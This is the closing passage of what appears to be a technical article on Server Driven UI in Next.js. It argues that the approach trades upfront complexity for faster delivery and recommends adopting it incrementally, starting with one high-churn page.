- Build incrementally. Pick one high churn page, prove value, expand from there.
Conclusion
Server Driven UI is not a silver bullet. It is a deliberate trade in which you accept architectural complexity up front to remove a recurring tax on your delivery process. The trade pays off when your application is large, your team is multi disciplinary, and the gap between "the change is decided" and "users see the change" is the bottleneck you most want to fix.
Next.js is a particularly good fit because its server component model lets you push as much rendering work as possible to the server, where configurations can be fetched, validated, and rendered without ever shipping JavaScript to the browser for static content. The result is an application that is dynamic in capability but lean in delivery, with a configuration layer that enables velocity without sacrificing the performance characteristics that make Next.js worth using in the first place.
If you are evaluating this approach for a real product, the next step is not a full rewrite. It is to pick one high churn page, build the minimum infrastructure to render it dynamically, prove the value to your team, and let adoption follow the evidence.